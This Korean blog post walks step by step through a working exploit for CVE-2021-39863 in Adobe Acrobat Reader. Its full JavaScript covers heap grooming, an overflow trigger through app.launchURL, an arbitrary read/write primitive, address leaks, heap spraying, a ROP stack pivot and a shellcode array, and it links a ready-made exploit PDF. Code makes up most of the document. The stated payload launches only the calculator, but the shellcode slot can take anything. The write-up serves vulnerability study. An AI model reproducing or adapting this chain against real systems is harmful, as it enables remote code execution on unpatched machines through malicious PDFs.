[KOR] CVE-2021-39863 Exploit

mntly·2024년 9월 23일
0

SegFau1t

목록 보기
5/5

개요

  • Windows의 보호 기법인 CFG를 끈 상태로 취약한 버전의 Adobe로 아래 PDF를 열면 Exploit이 진행된다.
  • 이 취약점은 RCE를 진행하는 것이 Exploit의 최종 목표이다. 하지만 실제로 악성 코드를 실행하는 것은 범죄이다.
  • 그래서 아래의 PDF는 Exploit 결과 그 어떠한 악성 행위를 수행하지 않고 간단하게 계산기만 실행한다.

Exploit JS Code가 들어있는 PDF 링크


  • 위 Exploit PDF가 우회하는 보안 기법은 다음과 같다.
    1. ASLR, Address space layout randomization
      1. Heap, Stack, Code 영역의 base 주소를 프로그램 실행할 때마다 랜덤하게 바꾸는 기법이다.
      2. ASLR은 UserBlock Header에서 BitmapData를 유출시키며 우회할 수 있다.

    1. DEP, Data Execution Prevention
      1. Stack, Heap과 같이 코드를 실행하지 않는 영역에서 명령이 수행되는 것을 막는 기법이다.
      2. DEP는 Heap으로 Stack Pivoting을 진행한 후 VirtualProtect로 Stack Pivoting한 영역에 rwx 권한을 부여하며 우회할 수 있다.
        • Stack Pivoting은 Stack Pointer인 esp를 변조하며 공격자가 원하는 영역을 Stack으로 속이는 기법이다.

  • 위 Exploit PDF는 앞서 언급했듯 윈도우의 보호 기법, CFG를 우회하지 않는다.
    • CFG, Control Flow Guard
      • 모든 간접 호출 직전에 목적지 주소가 컴파일 타임에 정한 안전한 주소인지 확인하는 과정을 추가해 프로그램 진행 중 예상치 못한 주소로 이동하는 것을 방지하는 보호 기법이다.
      • 현재 CFG 보호 기법을 켠 상태에서 Exploit을 성공했고, 이에 대한 내용을 작성하고 있다.

Overview

[그림 1] 전체 Exploit 과정 Overview


  • 전체 Exploit 과정은 다음과 같다.
    1. Preparing Heap Layout
      1. R/W primitive를 얻기 위해 Heap Layout을 구성한다.
        • Exploit에서는 R/W primitive를 base로 삼아 임의의 주소 공간에 접근해 값을 조작할 것이다.
      2. ArrayBuffer의 byte Length가 -1이 되면 해당 ArrayBuffer로 생성한 DataView object를 이용해 memory 전체 공간에 접근할 수 있다.
      3. 할당된 ArrayBuffer 사이에 연결된 URL이 저장되도록 Heap Layout을 구성한다.
        • Relative URL이 Base URL 뒤에 연결되면서 Root Cause가 발생하고, 이로 인해 연결된 URL과 인접한 ArrayBuffer의 byteLength를 매우 큰 수로 변조하기 위함이다.

    2. Get Arbitrary R/W primitive

    3. Address Leak & Overwrite

    4. Preparing Stack Pivoting

1. Preparing Heap Layout

var strRelUrlSize = 0x600;
var strConUrlSize = 0x800;

function createArrayBuffer(blocksize) {
  var arr = new ArrayBuffer(blocksize - 0x10);
  var u8 = new Uint8Array(arr);
  for (var i = 0; i < arr.byteLength; i++) {
    u8[i] = 0x42;
  }
  return arr;
}

// 1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간 생성
var arrB = new Array(0xE0);
var sprayStr1 = unescape('%uFFFF%uFFFF%uFFFF%uFFFF%u0000') + unescape('%uFFFF').repeat((strRelUrlSize / 2) - 1 - 5);
for (var i = 0; i < arrB.length; i++) {
  arrB[i] = sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();
}

// 2. string 사이에 relativeURL을 저장할 공간 지정
for (var i = 0x11; i < arrB.length; i += 10) {
  arrB[i] = null;
  arrB[i] = undefined;
}

// 3. 연결된 URL을 저장할 LFH heap 공간 생성
var arrA = new Array(0x130);
for (var i = 0; i < arrA.length; i++) {
  arrA[i] = createArrayBuffer(strConUrlSize);
}

// 4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간 지정
for (var i = 0x11; i < arrA.length; i += 10) {
  arrA[i] = null;
  arrA[i] = undefined;
}

// Garbage Collection 진행 (URL이 들어갈 공간을 진짜로 비워주기 위해)
gc();
  1. byteLength를 덮어쓸 문자열을 저장할 LFH heap 공간을 생성한다.

    • relative URL 크기 (0x600 byte) 만큼의 길이를 가진 문자열을 배열, arrB에 여러 번 저장하면 각 문자열은 모두 다른 heap 공간에 할당된다.
      • 동일한 크기의 heap이 여러 번 할당되었기에 LFH가 활성화된다.

        • "%u????"는 뒤의 2 byte가 Unicode로 encoding 된다.
        • sprayStr1.substr(0, (strRelUrlSize / 2) - 1).toUpperCase();는 Null Terminator 2byte 제외 (strRelUrlSize/2)-1개의 Unicode 문자를 나타낸다.
        • Null Terminator 2byte 제외 (strRelUrlSize/2)-1개의 Unicode 문자
          : strRelUrlSize-2 byte
          ⇒ Null Terminator 2 byte 합치면 relative URL의 길이와 동일

  2. string 사이에 relativeURL을 저장할 공간을 지정한다.

  3. 연결된 URL을 저장할 LFH heap 공간을 생성한다.

    • 연결된 URL 크기 (0x800 byte) 만큼 여러 번 heap을 할당헤 연결된 URL이 들어갈 LFH 공간을 생성한다.

    • Exploit에 이용할 각 URL 및 heap header 크기는 다음과 같다.

      1. relative URL : Null Terminator 포함 0x600 byte
      2. base URL : Null Terminator 제외 0x200 byte
      3. ArrayBuffer header : 0x10 byte
      4. Heap metadata : 0x08 byte
    • 각 URL은 다음의 과정을 거쳐 저장된다.

      • relative URL : 문자열 자체로 strings에 들어감
      • base URL은 ArrayBuffer로 선언한 영역에 복사되어 들어감
    • 두 UR은 다음의 과정을 거쳐 연결된다.

      1. base URL을 Heap 공간에 복사한다.
      2. relative URL이 base URL 뒤에 붙으면서 URL 연결 과정이 진행된다.
      3. 이때, exploit이 진행되면 relative URL과 연결된 string까지 같이 연결된다.
        • 추가로 연결된 string은 다음 ArrayBuffer의 byteLength를 매우 큰 값으로 변조한다.
  4. LFH에 ArrayBuffer로 할당된 heap 사이에 연결된 URL이 들어갈 공간을 지정한다.

[그림 2] Preparing Heap Layout 모식도

2. Triggering the Vulnerability

function triggerHeapOverflow() {
    try {
        app.launchURL('bb' + 'a'.repeat(0x2608 - 2 - 0x200 - 1 -0x8));
    } catch(err) {}
}
  1. base URL이 연결된 URL을 저장할 heap 공간 앞쪽에 복사된다.
    • 이때, 해당 heap은 ArrayBuffer가 아니라 일반 heap이기 때문에 Heap metadata 뒤에 바로 복사 된다.
    • 다시 말해 ArrayBuffer로 할당했을 때 생성된 ArrayBuffer header 위치부터 base URL이 복사된다.

  2. relative URL이 연결된 URL을 저장할 heap 공간 뒤쪽에 복사되면서, 연결된 ArrayBuffer의 byteLength 필드를 변조한다.
  • [그림 3]과 [그림 4]에서 Base는 base URL, relative는 relative URL을 의미한다.

[그림 3] baseURL이 연결된 URL을 저장할 heap에 저장된 직후 heap과 해당 heap 이후의 heap(ArrayBuffer)의 모습

[그림 4] URL 연결이 끝난 후 두 URL을 연결한 heap과 해당 heap 이후의 heap (ArrayBuffer)의 모습

3. Get Arbitrary R/W primitive

// 1. oob index에 접근해서 읽고 쓸 수 있는 상대적 r/w primitive를 구현
for (var i = 0; i < arrA.length; i++) {
    if (arrA[i] != null && arrA[i].byteLength == 0xFFFF) {
      var temp = new DataView(arrA[i]);
      temp.setInt32(0x7F0 + 0x8 + 0x4, 0xFFFFFFFF, true);
    }

    if (arrA[i] != null && arrA[i].byteLength == -1) {
      var rw = new DataView(arrA[i]);
      break;
    }
}

// 2. oob base VA(= StartAddr) 획득 => 임의의 VA값 제어
if (rw) {
    curChunkBlockOffset = rw.getUint8(0xFFFFFFED, true);
    BitMapBufOffset = curChunkBlockOffset * (strConUrlSize + 8) + 0x18

    for (var i = 0; i < 0x30; i += 4) {
        BitMapBufOffset += 4;
        signature = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
        if (signature == 0xF0E0D0C0) {
            BitMapBufOffset -= 0xC;
            BitMapBuf = rw.getUint32(0xFFFFFFFF + 1 - BitMapBufOffset, true);
            break;
        }
    }
    if (BitMapBuf) {
        StartAddr = BitMapBuf + BitMapBufOffset - 4;
    }
 }

[그림 5] r/w primitive를 구하는 과정 모식도


  1. 취약점 트리거 이후, 연결된 URL 직후의 ArrayBuffer의 byteLength는 0xFFFF로 덮인 상태이다.
  2. ArrayBuffer의 byteLength를 -1로 덮는다.
    • 연결된 URL 직후의 ArrayBuffer를 인식하고, 이와 연결된 ArrayBuffer의 byteLength를 0xFFFFFFFF (-1)로 변조한다.
    • byteLength가 -1이 되면 메모리 전체 범위를 상대적으로 제어할 수 있다.

  1. byteLength가 -1로 변조된 ArrayBuffer에서 DataView object를 설정한다.
    DataView object를 이용해 R/W primitive부터 상대적으로 메모리 영역을 제어할 것이다.

  1. 2.에서 구한 ArrayBuffer object의 data 시작 지점(R/W primitive)의 VA를 구한다.

    • 여기서 구하는 VA는 DataView object로 메모리를 제어할 때 사용하는 base의 VA다.
    • 이 값과 offset을 구하여 DataView object에 전달해 임의의 주소 공간을 제어할 것이다.

    [그림 6] UserBlock 구조체를 이용해 r/w primitive의 VA를 구하는 과정 모식도


    1. byteLength가 -1로 변조된 ArrayBuffer가 저장된 Heap chunk의 Heap chunk header에서 chunk number를 획득한다.

      • chunk number를 이용해 UserBlock Header로 이동할 것이다.

    2. 동일한 크기의 제일 첫 Heap chunk의 Heap chunk header 시작 지점과 R/W primitive 사이의 offset을 구한다.

      • offset을 구하기 위해 아래의 값이 필요하다.
        1. chunk number, chunk size
          • chunk size는 연결된 URL이 저장된 Heap chunk의 크기로 0x808 byte이다.
        2. Heap chunk의 Heap chunk header 크기 (0x08 byte)
        3. ArrayBuffer의 header 크기 (0x10 byte)
      • offset = chunk number * chunk size + 0x08 + 0x10

    3. R/W primitive와 LFH Userblock이 정한 signature (0xF0E0D0C0) 사이 offset을 구한다.

      • LFH Userblock과 LFH 제일 첫 heap chunk 사이에는 크기가 일정하지 않은 공간이 존재한다.

      • 항상 일정한 Userblock의 signature를 탐색하여 Userblock과 LFH의 제일 첫 번째 Heap chunk 사이의 offset을 구하였다.
        • r/w primitive에서 2.에서 구한 offset 만큼 떨어진 위치의 값이 signature인 0xF0E0D0C0이 될 때까지 4byte 씩 더한다.
        • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m

    4. UserBlock 구조체의 BitmapData의 VA를 leak한다.
      : UserBlock 구조체 구조에 따라 [그림 6]의 Pointer에 저장된 값인 BitmapData의 VA를 획득한다.

      • BusyBitmap.Buffer (Pointer)는 Signature에서 0x0C byte 더 위에 존재하므로 3.에서 구한 offset에서 0x0C byte만 빼면 BitmapData의 주소가 저장된 위치와 R/W primitive 사이 offset을 획득할 수 있다.
        offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0C
        &BitmapData = rw.getUint32(0xffffffff+0x1-offset, true)

      [그림 7] UserBlock Header의 구조


    1. R/W primitive의 VA를 계산한다.

      • R/W primitive의 VA를 구하기 위해 아래의 값이 필요하다.
        1. 3.에서 구한 offset
        2. 4.에서 구한 VA
        3. Pointer와 BitmapData 사이 크기 (: Pointer의 크기, 0x04 byte)

      • offset = chunk number * chunk size + 0x08 + 0x10 + 4 * m - 0x0c
      • startAddr = rw.getUint32(0xffffffff+0x1-offset, true) + offset - 0x04

    2. R/W primtive의 VA를 이용해 모든 메모리 영역에 주소로 접근이 가능하다

      function readUint32(dataView, readAddr) {
        var offsetAddr = readAddr - StartAddr;
        if (offsetAddr < 0) {
          offsetAddr = offsetAddr + 0xFFFFFFFF + 1;
        }
        return dataView.getUint32(offsetAddr, true);
      }
      
      function writeUint32(dataView, writeAddr, value) {
        var offsetAddr = writeAddr - StartAddr;
        if (offsetAddr < 0) {
          offsetAddr = offsetAddr + 0xFFFFFFFF + 1
        }
        return dataView.setUint32(offsetAddr, value, true);
      }

      위 두 함수는 각각 임의의 VA(readAddr, writeAddr)가 가리키는 값을 제어하는 데 도움을 준다.

      동작 과정

      1. 특정 메모리의 VA를 전달 받으면 r/w primitive VA와의 offset을 계산한다.

      2. r/w primitive의 DataView object로 1.에서 구한 offset 위치의 값을 제어한다.

        ⇒ 1., 2. 과정으로 특정 VA의 메모리 값을 제어할 수 있다.

4. Preparing Stack Pivoting

var heapSegmentSize = 0x10000;
heapSpray = new Array(0x8000);

for (var i = 0; i < 0x8000; i++) {
    heapSpray[i] = new ArrayBuffer(heapSegmentSize - 0x10 - 0x8);
}
  • 임의의 주소로 esp를 옮겨 프로그램이 해당 주소를 Fake Stack이라고 인식하게 해 Stack Pivoting을 수행한다.

  • 이때, 옮겨진 esp가 가리키는 Fake Stack은 쓰기 권한이 있어야 한다.
    : Heap을 충분히 많이 할당해 (Heap Spraying) 옮겨진 esp가 가리키는 Fake Stack에 높은 확률로 읽기 및 쓰기 권한이 있도록 하였다.

  • Heap Spray를 통해 spray된 Heap 공간에 있는 stack이 자라면서 쓰기 권한이 없어서 발생하는 에러를 막을 수 있다.

  • 하지만 항상 Fake Stack이 spray된 Heap 영역 (할당된 heap 영역)에 들어가는 것은 아니므로 exploit이 실패할 수도 있다.

5. Address Leak & Overwrite ⇒ Hijacking Execution Flow

// 1. START Information Leak
// leak the base address of EScript
EScriptModAddr = readUint32(rw, readUint32(rw, StartAddr - 8) + 0xC) - 0x277548;

// leak VirtualProtect address in kernel32.dll used by EScript
VirtualProtectAddr = readUint32(rw, EScriptModAddr + 0x1B0060);

// leak address of vtable
var dataViewObjPtr = rw.getUint32(0xFFFFFFFF + 0x1 - 0x8, true);
var dvShape = readUint32(rw, dataViewObjPtr);
var dvShapeBase = readUint32(rw, dvShape);
var dvShapeBaseClasp = readUint32(rw, dvShapeBase);
// END Information Leak

// 2. Overwrite address of getProperty in vtable to address of ROP gadget
var offset = 0x1050AE;
writeUint32(rw, dvShapeBaseClasp + 0x10, EScriptModAddr + offset);

// 3. Set Shellcode
var shellcode = [0xec83e589, 0x64db3120, 0x8b305b8b, 0x5b8b0c5b, 0x8b1b8b1c, 0x08438b1b, 0x8bfc4589, 0xc3013c58, 0x01785b8b, 0x207b8bc3, 0x7d89c701, 0x244b8bf8, 0x4d89c101, 0x1c538bf4, 0x5589c201, 0x14538bf0, 0xebec5589, 0x8bc03132, 0x7d8bec55, 0x18758bf8, 0x8bfcc931, 0x7d03873c, 0xc18366fc, 0x74a6f308, 0xd0394005, 0x4d8be472, 0xf0558bf4, 0x41048b66, 0x0382048b, 0xbac3fc45, 0x63657878, 0x5208eac1, 0x6e695768, 0x18658945, 0xffffb8e8, 0x51c931ff, 0x78652e68, 0x61636865, 0xe389636c, 0xff535141, 0xb9c931d0, 0x73736501, 0x5108e9c1, 0x6f725068, 0x78456863, 0x65897469, 0xff87e818, 0xd231ffff, 0x00d0ff52];
var shellcodesize = shellcode.length * 4;
// Write Shell Code
for (var i = 0; i < shellcode.length; i++) {
	writeUint32(rw, StartAddr + 0x18 + i * 4, shellcode[i]);
}

// 4. Setup new Stack
var newStackAddr = 0x5D000001;

writeUint32(rw, newStackAddr, VirtualProtectAddr);      // RIP 1
writeUint32(rw, newStackAddr + 0x4, StartAddr + 0x18);  // RIP 2
writeUint32(rw, newStackAddr + 0x8, StartAddr + 0x18);  //  Arg1 : 메모리 시작 주소
writeUint32(rw, newStackAddr + 0xC, shellcodesize);     //  Arg2 : 메모리 크기
writeUint32(rw, newStackAddr + 0x10, 0x40);             //  Arg3 : 메모리 보호 상수 : 0x40 : 실행 권한
writeUint32(rw, newStackAddr + 0x14, StartAddr + 0x14); //  Arg4 : 이전 보호 상수 저장할 포인터

// 5. try to access unknown property
// => call overwritten getProperty(ROP Gadget) in vtable
var foo = rw.execFlowHijack;
  • 중요 변수/값이 저장되는 곳은 다음과 같다.
    1. ROP Gadget ⇒ EScript.api 파일의 특정 부분(offset이 고정되어 있다)
      0x1050AE: mov esp, 0x5d000001; ret;

    2. 새로운 stack은 spray된 Heap 영역 중 어딘가 (에 위치해야 exploit이 진행된다.)
        1. ROP Gadget으로 esp가 옮겨진 곳 : 0x5d000001

    3. shellcode ⇒ r/w primitive의 위치 + 0x18

1) Exploit을 위한 Information Leak

  1. EScript의 base 주소를 획득한다.
    a. JSObject (DataView, …)의 메모리 구조를 이용해 EScript.api 내부 어딘가의 주소를 획득한다.

    b. a.에서 구한 주소에서 IDA로 확인한 offset (= 0x277548)을 빼 EScript.api의 base 주소를 획득한다.

  2. IDA로 EScript.api와 EScript.api가 사용하는 kernel32.dll의 VirtualProtect 함수의 offset (= 0x1B0060)을 계산한다.

    • VirtualProtect 함수는 Shellcode가 저장된 영역에 실행 권한을 부여하여 Shellcode가 정상적으로 실행될 수 있도록 해준다.
      [그림 8] idata segment에 저장된 VirtualProtect 함수 호출
      +) .idata 영역은 import table을 의미한다.
  3. kernel32.dll의 VirtualProtect 함수의 주소를 계산한다.

    • 1.에서 구한 EScript.api의 base 주소와 2.에서 계산한 VirtualProtect 함수의 offset을 이용해 VirtualProtect 함수의 VA를 계산한다.
  4. 프로그램이 동작할 때 DataView Object property map의 VA를 얻는다.

2) property map 변조

  • rw DataView object의 property map에서 getProperty 함수의 주소를 ROP Gadget의 주소로 변조한다.
  • 이후 rw DataView object에서 getProperty 함수를 호출하면 getProperty 함수가 아니라 ROP Gadget을 호출하게 된다.

3) shell code 작성

  • shell code를 쓰기 권한이 있는 곳에 작성한다. (나는 r/w primitive의 위치 + 0x18에 작성하였다.)

4) 새로운 stack 구성

  1. 사용할 ROP Gadget이 esp를 0x5D000001로 옮기므로 해당 주소를 기준으로 새로운 stack을 설정한다.

  2. 새로운 Stack에서는 아래의 동작이 수행된다.
    [그림 9] 새로운 Stack의 모습 (ROP Gadget 실행 직전)


    a. VirtualProtect 함수를 호출하며 Shellcode 영역에 실행 권한 부여
    [그림 10] ret 명령이 실행되기 직전(좌)과 VirtualProtect 함수가 실행되기 직전(우)의 모습


    b. Shellcode 실행
    [그림 11] VirtualProtect 함수 Prologue 직후 (좌)와 Shellcode 실행 직전 (우)의 모습

    • jmp eip로 VirtualProtect 함수를 호출하기 때문에 RIP를 추가로 저장하지 않았다.
    • 프로그램은 기존에 stack(을 가장한 heap)에 존재하던 StartAddr+0x18을 RIP로 생각한다.

5. exploit trigger

  • DataView의 존재하지 않는 Property (execFlowHijack)를 참조하면 getProperty 함수가 호출된다.
  • 이때 DataView Object의 getProperty 함수의 주소가 저장된 곳은 Exploit을 위한 ROP Gadget의 주소가 저장되어 있어 getProperty 함수가 아니라 ROP Gadget이 실행된다.

Shellcode 분석

  • 아래 게시글에서는 Exploit에 사용한 Shellcode와 이를 이해하는 데 필요한 사전 지식을 정리하였다.

Scenario

  • 아래는 피해자가 위의 Exploit Code가 담긴 PDF 파일을 의심 없이 다운 받고
  • CFG가 꺼진 상태에서 취약한 버전의 Adobe Acrobat Reader DC로 다운 받은 파일을 열며
  • Exploit이 진행되어 계산기가 실행된 영상이다.


Further Reading

  1. Encoding [UTF-16BE; ANSI]

  2. Process of JS in PDF at Adobe

  3. JS Object - SpiderMonkey

  4. Windows Heap - LFH

  5. CVE-2021-39863 Analysis


피드백은 언제나 환영합니다

0개의 댓글